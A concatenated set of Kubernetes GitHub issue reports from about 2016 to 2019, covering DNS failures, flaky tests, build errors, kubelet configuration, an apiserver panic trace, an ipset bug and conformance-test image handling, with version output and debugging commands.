i recently deployed a kubernetes cluster http://kubernetes.io/docs/getting-started-guides/libvirt-coreos/ \r \r all working fine but i have issue for my container inside the cluster. in fact i cannot resolve request outside the container.\r \r i create a issue in stackoverflow to explain more.\r \r http://stackoverflow.com/questions/40462338/skydns-failure-to-forward-request\r \r \r   kubernetes version    use  kubectl version  :\r \r    \r client version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.4\ , gitcommit:\ 3b417cc4ccd1b8f38ff9ec96bb50a81ca0ea9d56\ , gittreestate:\ clean\ , builddate:\ 2016-10-21t02:48:38z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5+\ , gitversion:\ v1.5.0-alpha.2.266+cc84673ebee685\ , gitcommit:\ cc84673ebee6857265c0378517617bfa76e793f4\ , gittreestate:\ clean\ , builddate:\ 2016-11-01t09:54:37z\ , goversion:\ go1.7.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  :\r -   os    e.g. from /etc/os-release : \r name=coreos\r id=coreos\r version=1221.0.0\r version_id=1221.0.0\r build_id=2016-11-03-0452\r pretty_name=\ coreos 1221.0.0  moreos \ \r ansi_color=\ 1;32\ \r home_url=\ https://coreos.com/\ \r bug_report_url=\ https://github.com/coreos/bugs/issues\ \r \r -   kernel    e.g.  uname -a  : linux kubernetes-node-3 4.8.6-coreos  1 smp thu nov 3 04:43:35 utc 2016 x86_64 qemu virtual cpu version 2.5+ genuineintel gnu/linux\r -   install tools  :libvirt coreos\r \r \r \r

running latest from master  currently commit 8ab0519160594e5da50212da7994fc5dfbbe05de , i'm seeing testmonitornodestatusevictpodswithdisruption is flakey:\r \r 1. go test -c ./pkg/controller/node\r 1. while true; do if ! ./node.test; then break; fi; done\r 1. wait for failure\r \r i've narrowed it down https://github.com/kubernetes/kubernetes/blob/6a4d5cd7cc58e28c20ca133dab7b0e9e56192fe3/pkg/controller/node/nodecontroller_test.go l1220, which is supposed to process all the items  nodes  in the  zonepodevictor zone   queue. this queue has a capacity of 1, and at least in the test code, a refill rate of 10000 qps. if the call to  tryaccept  fails  here  https://github.com/kubernetes/kubernetes/blob/6a4d5cd7cc58e28c20ca133dab7b0e9e56192fe3/pkg/controller/node/rate_limited_queue.go l209 , it will stop processing wherever it happened to be in the queue. i've added some extra logging locally, and when it fails, i see it processing nodes 1 and 2 before tryaccept fails. the issue is that the pod it's trying to evict is on node0, and it doesn't process node0 before tryaccept returns false.\r \r cc @smarterclayton @mikedanese @liggitt @sttts

storage.k8s.io/v1 was added in v1.6 and set as the default discovery version. this can cause problems for v1.5 clients, which don't know about storage.k8s.io/v1.\r \r fortunately, the etcd storage version is v1beta1  https://github.com/kubernetes/kubernetes/blob/584b57b8b4596d52559bdd6b79503f8f70281aec/pkg/apis/storage/install/install.go l42 .\r \r i am working on a fix for this.\r \r cc @liggitt @sttts @jsafrane @childsb @eparis @smarterclayton @mfojtik @pweil- @kubernetes/sig-storage-bugs @kubernetes/sig-api-machinery-bugs

i compile the code as following, but failed:\r \r $ go get -d k8s.io/kubernetes\r $ cd $gopath/src/k8s.io/kubernetes\r $ make\r \r \r \r error info:\r  root@localhost kubernetes   make -j 2\r +++  0616 03:49:16  building the toolchain targets:\r     k8s.io/kubernetes/hack/cmd/teststale\r     k8s.io/kubernetes/vendor/github.com/jteeuwen/go-bindata/go-bindata\r +++  0616 03:49:16  building the toolchain targets:\r     k8s.io/kubernetes/hack/cmd/teststale\r     k8s.io/kubernetes/vendor/github.com/jteeuwen/go-bindata/go-bindata\r +++  0616 03:49:21  generating bindata:\r     test/e2e/generated/gobindata_util.go\r +++  0616 03:49:21  generating bindata:\r     test/e2e/generated/gobindata_util.go\r /usr/share/gocode/src/github.com/src/k8s.io/kubernetes /usr/share/gocode/src/github.com/src/k8s.io/kubernetes/test/e2e/generated\r /usr/share/gocode/src/github.com/src/k8s.io/kubernetes /usr/share/gocode/src/github.com/src/k8s.io/kubernetes/test/e2e/generated\r /usr/share/gocode/src/github.com/src/k8s.io/kubernetes/test/e2e/generated\r /usr/share/gocode/src/github.com/src/k8s.io/kubernetes/test/e2e/generated\r +++  0616 03:49:22  building go targets for linux/amd64:\r     cmd/libs/go2idl/defaulter-gen\r +++  0616 03:49:22  building go targets for linux/amd64:\r     cmd/libs/go2idl/deepcopy-gen\r +++  0616 03:49:30  building the toolchain targets:\r     k8s.io/kubernetes/hack/cmd/teststale\r     k8s.io/kubernetes/vendor/github.com/jteeuwen/go-bindata/go-bindata\r +++  0616 03:49:30  generating bindata:\r     test/e2e/generated/gobindata_util.go\r /usr/share/gocode/src/github.com/src/k8s.io/kubernetes /usr/share/gocode/src/github.com/src/k8s.io/kubernetes/test/e2e/generated\r +++  0616 03:49:30  building the toolchain targets:\r     k8s.io/kubernetes/hack/cmd/teststale\r     k8s.io/kubernetes/vendor/github.com/jteeuwen/go-bindata/go-bindata\r +++  0616 03:49:30  generating bindata:\r     test/e2e/generated/gobindata_util.go\r /usr/share/gocode/src/github.com/src/k8s.io/kubernetes /usr/share/gocode/src/github.com/src/k8s.io/kubernetes/test/e2e/generated\r stat pkg/generated/bindata.go.tmp: no such file or directory\r /usr/share/gocode/src/github.com/src/k8s.io/kubernetes/test/e2e/generated\r ../../../../../../test/e2e/generated/gobindata_util.go:19: running \ ../../../hack/generate-bindata.sh\ : exit status 2\r +++  0616 03:49:32  building go targets for linux/amd64:\r     cmd/libs/go2idl/conversion-gen\r !!!  0616 03:49:32  call tree:\r !!!  0616 03:49:32   1: hack/make-rules/build.sh:27 kube::golang::build_binaries ... \r !!!  0616 03:49:32  call tree:\r !!!  0616 03:49:32   1: hack/make-rules/build.sh:27 kube::golang::build_binaries ... \r make 1 :      _output/bin/openapi-gen  error 1\r make 1 :     waiting for unfinished jobs....\r make:      generated_files  error 2

following up on brian's comment in  47448:\r \r > @mbohlool please add a test that no types.foo types are introduced.\r \r currently we don't have any types.foo in openapi spec  as all of those types are aliases and we resolve type aliases in openapi . restriction can make sure we won't accidentally define non-aliases type there. we can add restriction based on the package path  e.g. list of packages that should not have any type defined in openapi spec .\r \r @kubernetes/sig-api-machinery-misc

is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r \r when i update the kubelet on a node from 1.7.x to 1.8.0, pods on that node stop being able to connect to services whose pods happen to be on the same node. i use the kubenet network plugin.\r \r   what you expected to happen  :\r \r pods should be able to connect to a service even if the services's pods are on the same node.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. start a cluster\r 2. add the dns addon\r 3. add another pod that runs on the same node as one of the dns pods\r 4. dns resolution starts to fail when the service redirects the requests to the pod that is on the same node.\r \r   anything else we need to know?  :\r \r i have some packet captures that i can show.\r \r kubelet: 1.7.5\r dns pod: 10.2.4.76\r origin pod: 10.2.4.64\r    \r capturing on 'any'\r   1 0.000000000    10.2.4.64 ? 10.3.0.10    tcp 76 32880 ? 53  syn  seq=0 win=29200 len=0 mss=1460 sack_perm=1 tsval=3087861067 tsecr=0 ws=128\r   2 0.000032200    10.2.4.64 ? 10.2.4.76    tcp 76 32880 ? 53  syn  seq=0 win=29200 len=0 mss=1460 sack_perm=1 tsval=3087861067 tsecr=0 ws=128\r   3 0.000000000    10.2.4.64 ? 10.2.4.76    tcp 76  tcp retransmission  32880 ? 53  syn  seq=0 win=29200 len=0 mss=1460 sack_perm=1 tsval=3087861067 tsecr=0 ws=128\r   4 0.000040500    10.2.4.64 ? 10.2.4.76    tcp 76  tcp out-of-order  32880 ? 53  syn  seq=0 win=29200 len=0 mss=1460 sack_perm=1 tsval=3087861067 tsecr=0 ws=128\r   5 0.000063600    10.2.4.76 ? 10.2.4.64    tcp 76 53 ? 32880  syn, ack  seq=0 ack=1 win=28960 len=0 mss=1460 sack_perm=1 tsval=1635729023 tsecr=3087861067 ws=128\r   6 0.000074300    10.3.0.10 ? 10.2.4.64    tcp 76 53 ? 32880  syn, ack  seq=0 ack=1 win=28960 len=0 mss=1460 sack_perm=1 tsval=1635729023 tsecr=3087861067 ws=128\r   7 0.000063600    10.2.4.76 ? 10.2.4.64    tcp 76  tcp out-of-order  53 ? 32880  syn, ack  seq=0 ack=1 win=28960 len=0 mss=1460 sack_perm=1 tsval=1635729023 tsecr=3087861067 ws=128\r   8 0.000087900    10.2.4.64 ? 10.3.0.10    tcp 68 32880 ? 53  ack  seq=1 ack=1 win=29312 len=0 tsval=3087861067 tsecr=1635729023\r   9 0.000096200    10.2.4.64 ? 10.2.4.76    tcp 68 32880 ? 53  ack  seq=1 ack=1 win=29312 len=0 tsval=3087861067 tsecr=1635729023\r  10 0.000087900    10.2.4.64 ? 10.2.4.76    tcp 68  tcp dup ack 9 1  32880 ? 53  ack  seq=1 ack=1 win=29312 len=0 tsval=3087861067 tsecr=1635729023\r  11 0.000099300    10.2.4.64 ? 10.2.4.76    tcp 68  tcp dup ack 9 2  32880 ? 53  ack  seq=1 ack=1 win=29312 len=0 tsval=3087861067 tsecr=1635729023\r    \r \r kubelet: 1.8.0\r dns pod: 10.2.1.254\r origin pod: 10.2.1.234\r    \r capturing on 'any'\r   1 0.000000000   10.2.1.234 ? 10.3.0.10    tcp 76 34542?53  syn  seq=0 win=29200 len=0 mss=1460 sack_perm=1 tsval=247976308 tsecr=0 ws=128\r   2 0.000000000   10.2.1.234 ? 10.3.0.10    tcp 76  tcp out-of-order  34542?53  syn  seq=0 win=29200 len=0 mss=1460 sack_perm=1 tsval=247976308 tsecr=0 ws=128\r   3 0.000034900   10.2.1.234 ? 10.2.1.254   tcp 76 34542?53  syn  seq=0 win=29200 len=0 mss=1460 sack_perm=1 tsval=247976308 tsecr=0 ws=128\r   4 0.000037200   10.2.1.234 ? 10.2.1.254   tcp 76  tcp out-of-order  34542?53  syn  seq=0 win=29200 len=0 mss=1460 sack_perm=1 tsval=247976308 tsecr=0 ws=128\r   5 0.000055300   10.2.1.254 ? 10.2.1.234   tcp 76 53?34542  syn, ack  seq=0 ack=1 win=28960 len=0 mss=1460 sack_perm=1 tsval=464258761 tsecr=247976308 ws=128\r   6 0.000057501   10.2.1.254 ? 10.2.1.234   tcp 76  tcp out-of-order  53?34542  syn, ack  seq=0 ack=1 win=28960 len=0 mss=1460 sack_perm=1 tsval=464258761 tsecr=247976308 ws=128\r   7 0.000055300   10.2.1.254 ? 10.2.1.234   tcp 76  tcp out-of-order  53?34542  syn, ack  seq=0 ack=1 win=28960 len=0 mss=1460 sack_perm=1 tsval=464258761 tsecr=247976308 ws=128\r   8 1.033021085   10.2.1.234 ? 10.3.0.10    tcp 76  tcp retransmission  34542?53  syn  seq=0 win=29200 len=0 mss=1460 sack_perm=1 tsval=247977341 tsecr=0 ws=128\r   9 1.033021085   10.2.1.234 ? 10.3.0.10    tcp 76  tcp retransmission  34542?53  syn  seq=0 win=29200 len=0 mss=1460 sack_perm=1 tsval=247977341 tsecr=0 ws=128\r  10 1.033101586   10.2.1.234 ? 10.2.1.254   tcp 76  tcp spurious retransmission  34542?53  syn  seq=0 win=29200 len=0 mss=1460 sack_perm=1 tsval=247977341 tsecr=0 ws=128\r  11 1.033104086   10.2.1.234 ? 10.2.1.254   tcp 76  tcp spurious retransmission  34542?53  syn  seq=0 win=29200 len=0 mss=1460 sack_perm=1 tsval=247977341 tsecr=0 ws=128\r    \r \r we can see that in the requests that fail the dns ip is correctly dnated to the dns pod destination address but the response is not masqueraded, it still carries the dns pod source  it should have an origin of 10.3.0.10 .\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.0\ , gitcommit:\ 0b9efaeb34a2fc51ff8e4d34ad9bc6375459c4a4\ , gittreestate:\ clean\ , builddate:\ 2017-09-29t05:56:06z\ , goversion:\ go1.9\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.0+coreos.0\ , gitcommit:\ a65654ef5b593ac19fbfaf33b1a1873c0320353b\ , gittreestate:\ clean\ , builddate:\ 2017-09-29t21:51:03z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration: azure standard_a4\r - os  e.g. from /etc/os-release : \ container linux by coreos 1465.8.0  ladybug \ \r - kernel  e.g.  uname -a  : linux node-1-vm 4.12.14-coreos  1 smp wed sep 20 22:20:05 utc 2017 x86_64 intel r  xeon r  cpu e5-2673 v3 @ 2.40ghz genuineintel gnu/linux\r - install tools: https://github.com/edevil/kubernetes-deployment\r \r

right now if you want to create an application that talks to the kubernetes apiserver you can either put the code into the kubernetes github repository or you can include the entire repository as a dependency  as openshift does . neither of these options is particularly compelling if all you want to do is have a dependency on a client library that makes it simple to communicate with the apiserver.

is this a bug report or feature request?  :\r bug report\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r   what happened  :\r i got some troubles in following this tutorial  reconfigure-kubelet  https://kubernetes.io/docs/tasks/administer-cluster/reconfigure-kubelet/ . it is recommended to reconfigure the kubelet with configmap, but when i use \ kubectl edit node \  to modify the kubelet configuration with setting eventrecordqps=10, nothing changed though the output showing \ node     edited\ , and the configok status did not show up in the node status. for more info, the configmap, corresponding role and rolebinding can be all created successfully. is  there anything i have missed or this tutorial needs to be updated?\r \r   what you expected to happen  :\r the node status changed as it's meant to be, such as the configok status showing up, and the eventrecordqps should be equal to 10.\r \r   how to reproduce it  as minimally and precisely as possible   :\r just follow the tutorial and it's stucked in the  observe that the node begins using the new configuration  section.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : \r client version: version.info{major:\ 1\ , minor:\ 10+\ , gitversion:\ v1.10.0-alpha.0.1358+3e78c4904e1298-dirty\ , gitcommit:\ 3e78c4904e12983f5a921ac98b7c580c8c143a04\ , gittreestate:\ dirty\ , builddate:\ 2017-12-20t08:56:32z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10+\ , gitversion:\ v1.10.0-alpha.0.1358+3e78c4904e1298-dirty\ , gitcommit:\ 3e78c4904e12983f5a921ac98b7c580c8c143a04\ , gittreestate:\ dirty\ , builddate:\ 2017-12-20t09:01:04z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

reposted from https://github.com/kubernetes/kubernetes/pull/60100 discussion_r176604265:\r \r this has been a requirement of dynamic kubelet config since the original proposal, to require users to be completely explicit  time and space  about which configmap to use. if the uid in the config source doesn't match the uid of the configmap, the kubelet currently rejects it.\r \r iirc there were concerns along the lines of configmaps being deleted and recreated with the same name but different content... though this is less of an issue today now that we have the --append-hash option in kubectl  obviously the potential for in-place configmap mutation still exists, but if users are using --append-hash i wouldn't expect them to mutate the configmap after creation .\r \r the kubelet also checkpoints by uid, so it was convenient to already have this specified in the object ref, though i guess if we relaxed this requirement it could just resolve the uid and stick it in the local copy of the config source when it first downloads the configmap.\r \r i can't remember other reasons to require uid, if any.\r \r ---\r \r a massive downside of requiring the uid is that you cannot fully-statically-specify the configuration of a cluster; the uid is assigned by the api server at creation time.\r \r this  must  be resolved before dynamic kubelet config  https://github.com/kubernetes/features/issues/281  goes beta.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r   >  \r \r   what happened  :\r pod can not be scheduled on a node in ready state\r \r   what you expected to happen  :\r pod should be able to schedule on deleted/add back node; otherwise node should not be shown \ ready\ \r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. cordon a node in k8s cluster\r 2. delete the node\r 3. add back the same node by restarting the kubelet\r 4. kubelet shows the node is back and in ready state\r 5. however, no pod can be scheduled on this node\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : \r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.3+coreos.0\ , gitcommit:\ f588569ed1bd4a6c986205dd0d7b04da4ab1a3b6\ , gittreestate:\ clean\ , builddate:\ 2018-02-10t01:42:55z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.3+coreos.0\ , gitcommit:\ f588569ed1bd4a6c986205dd0d7b04da4ab1a3b6\ , gittreestate:\ clean\ , builddate:\ 2018-02-10t01:42:55z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

failing job\r    sig-release-master-blocking kubeadm-gce  https://k8s-testgrid.appspot.com/sig-release-master-blocking kubeadm-gce \r    sig-release-master-blocking kubeadm-gce-selfhosting  https://k8s-testgrid.appspot.com/sig-release-master-blocking kubeadm-gce-selfhosting \r \r    failing test\r  up  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-kubeadm-gce-selfhosting/257 \r \r per @dims - \ i see failures with no such image: gcr.io/kubernetes-ci-images/kube-controller-manager-amd64:v1.11.0-alpha.2.293_321201f6723a5d\  example - https://storage.googleapis.com/kubernetes-jenkins/logs/ci-kubernetes-e2e-kubeadm-gce/10445/artifacts/e2e-10445-31d72-master/serial-1.log\ .\r \r we'll need someone familiar with kube-controller-manager-amd64 publication to help out here.\r \r  / /  /milestone v1.11\r /assign @dims \r \r cc @jberkus @tpepper\r

is this a bug report or feature request?  :\r bug report\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r kube api server panics due to  fatal error: concurrent map read and map write \r \r   what you expected to happen  :\r api server to handle concurrent writes\r \r   how to reproduce it  as minimally and precisely as possible   :\r - kubernetes 1.9.7 on aws\r - cluster runs kube-dns, kube-dns-autoscalar, cluster-autoscalar, kube2iam, rescheduler, etc.\r - running a few workloads with imagepullbackoff failure hitting the pods\r \r   anything else we need to know?  :\r kube api server log:\r    \r fatal error: concurrent map read and map write\r goroutine 239937  running :\r runtime.throw 0x3b0d043, 0x21 \r         /usr/local/go/src/runtime/panic.go:605 +0x95 fp=0xc432ac9900 sp=0xc432ac98e0 pc=0x42c285\r runtime.mapaccess2_faststr 0x334ece0, 0xc445632f90, 0x3aba126, 0x9, 0xc426e1abe8, 0xc63d817619ed0401 \r         /usr/local/go/src/runtime/hashmap_fast.go:324 +0x47a fp=0xc432ac9958 sp=0xc432ac9900 pc=0x40c56a\r k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/apis/meta/v1/unstructured.nestedfieldnocopy 0xc445632f60, 0xc432ac9a68, 0x2, 0x2, 0x310b980, 0xc426ad9340, 0xc432ac9a01\r         /workspace/anago-v1.9.7-beta.0.111+dd5e1a2978fd0b/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/apis/meta/v1/\r k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/apis/meta/v1/unstructured.nestedstring 0xc445632f60, 0xc432ac9a68, 0x2, 0x2, 0xc4288a3440, 0x3b, 0xc445632f01 \r         /workspace/anago-v1.9.7-beta.0.111+dd5e1a2978fd0b/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/apis/meta/v1/\r k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/apis/meta/v1/unstructured.getnestedstring 0xc445632f60, 0xc432ac9a68, 0x2, 0x2, 0xc4288a3440, 0x3b \r         /workspace/anago-v1.9.7-beta.0.111+dd5e1a2978fd0b/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/apis/meta/v1/\r k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/apis/meta/v1/unstructured.  unstructured .getnamespace 0xc4311da830, 0xc4288a3440, 0x3b \r ...\r ..\r .\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/storage.  timebudget .periodicallyrefresh 0xc4209d5f00, 0xc420059740 \r         /workspace/anago-v1.9.7-beta.0.111+dd5e1a2978fd0b/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/storage/time_bud\r created by k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/storage.newtimebudget\r         /workspace/anago-v1.9.7-beta.0.111+dd5e1a2978fd0b/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/storage/time_bud\r goroutine 378  select, 25 minutes :\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/storage.  cacher .dispatchevents 0xc4205eb450 \r         /workspace/anago-v1.9.7-beta.0.111+dd5e1a2978fd0b/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/storage/cacher.g\r created by k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/storage.newcacherfromconfig\r         /workspace/anago-v1.9.7-beta.0.111+dd5e1a2978fd0b/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/storage/cacher.g\r goroutine 379  select, 4 minutes :\r k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache.  reflector .watchhandler 0xc420b2cbe0, 0x8e44b60, 0xc443ced560, 0xc42cd0bbc8, 0xc443ced380, 0xc420059740, 0x0, 0x\r         /workspace/anago-v1.9.7-beta.0.111+dd5e1a2978fd0b/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache/reflecto\r k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache.  reflector .listandwatch 0xc420b2cbe0, 0xc420059740, 0x0, 0x0 \r         /workspace/anago-v1.9.7-beta.0.111+dd5e1a2978fd0b/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache/reflecto\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/storage.  cacher .startcaching 0xc4205eb450, 0xc420059740 \r         /workspace/anago-v1.9.7-beta.0.111+dd5e1a2978fd0b/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/storage/cacher.g\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/storage.newcacherfromconfig.func1.1  \r         /workspace/anago-v1.9.7-beta.0.111+dd5e1a2978fd0b/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/storage/cacher.g\r k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.jitteruntil.func1 0xc42cd41fa8 \r kube-apiserver.service: main process exited, code=exited, status=2/invalidargument\r kube-apiserver.service: unit entered failed state.\r kube-apiserver.service: failed with result 'exit-code'.\r kube-apiserver.service: service hold-off time over, scheduling restart.\r stopped kubernetes api server.\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.7\ , gitcommit:\ dd5e1a2978fd0b97d9b78e1564398aeea7e7fe92\ , gittreestate:\ clean\ , builddate:\ 2018-04-19t00:05:56z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.7\ , gitcommit:\ dd5e1a2978fd0b97d9b78e1564398aeea7e7fe92\ , gittreestate:\ clean\ , builddate:\ 2018-04-18t23:58:35z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration:\r aws\r \r - os  e.g. from /etc/os-release :\r fedora 27  cloud edition \r \r - kernel  e.g.  uname -a  :\r 4.16.7-200.fc27.x86_64\r \r - install tools:\r \r - others:\r

 /area ipvs\r  \r   what happened  :\r \r then the ipset  kube-load-balancer-source-cidr  is created it is not recognized as a hash set and the arguments family,maxelem,hashsize are not given.\r \r   what you expected to happen  :\r \r the  kube-load-balancer-source-cidr  should be created with the arguments mentioned above.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r since the ipset default valuses are also used by the  kube-proxy  you can not see this bug in an ipv4 cluster. but in an ipv6-only cluster the ignored  family  arguments causes the set to be created as ipv4   family inet  .\r \r unfortunately this bug is hidden by the much-larger bug in https://github.com/kubernetes/kubernetes/issues/67799 which causes   all   ipset's to become ipv4 in an ipv6-only cluster.\r \r   anything else we need to know?  :\r \r i am working with the issue  67799 above but want to keep this separated since it is affecting both ipv4 and ipv6 and should be simple to review. i plan to do my first pr to kubernetes with this issue and want a trivial one to test the procedure.\r \r the problem is  here  https://github.com/kubernetes/kubernetes/blob/8e329f1c3cbb1354c27b6135990c5544f14d2a17/pkg/util/ipset/ipset.go l289 . the condition should be the same as  here  https://github.com/kubernetes/kubernetes/blob/8e329f1c3cbb1354c27b6135990c5544f14d2a17/pkg/util/ipset/ipset.go l97 .\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r   kubectl version\r client version: version.info{major:\ 1\ , minor:\ 13+\ , gitversion:\ v1.13.0-alpha.0.954+b8e97d3451afb9\ , gitcommit:\ b8e97d3451afb9bee7f9c213f4a0957855837171\ , gittreestate:\ clean\ , builddate:\ 2018-09-02t16:11:08z\ , goversion:\ go1.11\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 13+\ , gitversion:\ v1.13.0-alpha.0.954+b8e97d3451afb9\ , gitcommit:\ b8e97d3451afb9bee7f9c213f4a0957855837171\ , gittreestate:\ clean\ , builddate:\ 2018-09-02t16:10:14z\ , goversion:\ go1.11\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r   kvm on ubuntu 18.04.1 lts\r - os  e.g. from /etc/os-release :\r   own busybos based system\r - kernel  e.g.  uname -a  :\r    \r   uname -a\r linux vm-001 4.18.5  1 smp sat sep 1 09:25:58 cest 2018 x86_64 gnu/linux\r    \r - install tools:\r   none\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r @kubernetes/sig-storage-bugs \r \r   what happened  :\r https://k8s-testgrid.appspot.com/google-gke gke-regional\r \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-regional/9828

what happened  :\r user set kube_test_repo_list with a conformance image based on 1.13 which should have that plumbing. they tried to run conformance tests and it failed with a few errors including a failure to pull from the public docker registry  which they did not have access to :\r \r    \r mar  6 20:52:05.601: info: at 2019-03-06 20:47:16 +0000 utc - event for pod-adoption: {kubelet master-node} failed: failed to pull image \ nginx\ : rpc error: code = unknown desc = error response from daemon: get https://registry-1.docker.io/v2/: read tcp 10.96.11.102:45288->52.54.155.177:443: read: connection reset by peer\r mar  6 20:52:05.601: info: at 2019-03-06 20:47:16 +0000 utc - event for pod-adoption: {kubelet master-node} failed: error: errimagepull\r    \r \r   what you expected to happen  :\r all tests trying to create containers should get the image name from the helper methods which will respect kube_test_repo_list\r \r   how to reproduce it  as minimally and precisely as possible   :\r  - create a cluster reachable with sonobuoy\r  - using sonobuoy from master  when kube_test_repo_list is supported  run:\r    \r $ echo \ dockerlibraryregistry: notreachablerepo.io/library\  > repo.yaml\r $ sonobuoy run --e2e-repo-config ./repo.yaml --e2e-focus=\ replicationcontroller. should adopt matching pods on creation\  --wait\r $ outfile=$ sonobuoy retrieve \r $ sonobuoy e2e $outfile\r    \r \r now clean up your sonobuoy run:\r    \r $ sonobuoy delete --wait\r    \r \r this is showing you that the test passed and did not use the proper repo. as a confirmation that this setup is correctly passing the kube_test_repo_list run  and watch fail :\r    \r $ sonobuoy run --e2e-repo-config ./repo.yaml --mode quick\r    \r \r this will fail because this test is wired properly w.r.t. images; confirm this by running:\r    \r $ kubectl get pods --all-namespaces | grep e2e\r    \r \r > note it will take a long time for sonobuoy to finish since its waiting for the plugin which is going to spin a long time, error, etc.\r \r   anything else we need to know?  :\r see the improper usage here:\r https://github.com/kubernetes/kubernetes/blob/master/test/e2e/apps/rc.go l267\r \r and the proper usage here:\r https://github.com/kubernetes/kubernetes/blob/master/test/e2e/common/pods.go l182\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.2\ , gitcommit:\ cff46ab41ff0bb44d8584413b598ad8360ec1def\ , gittreestate:\ clean\ , builddate:\ 2019-01-13t23:16:58z\ , goversion:\ go1.11.4\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.2\ , gitcommit:\ cff46ab41ff0bb44d8584413b598ad8360ec1def\ , gittreestate:\ clean\ , builddate:\ 2019-01-15t23:29:42z\ , goversion:\ go1.11.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - install tools: kind

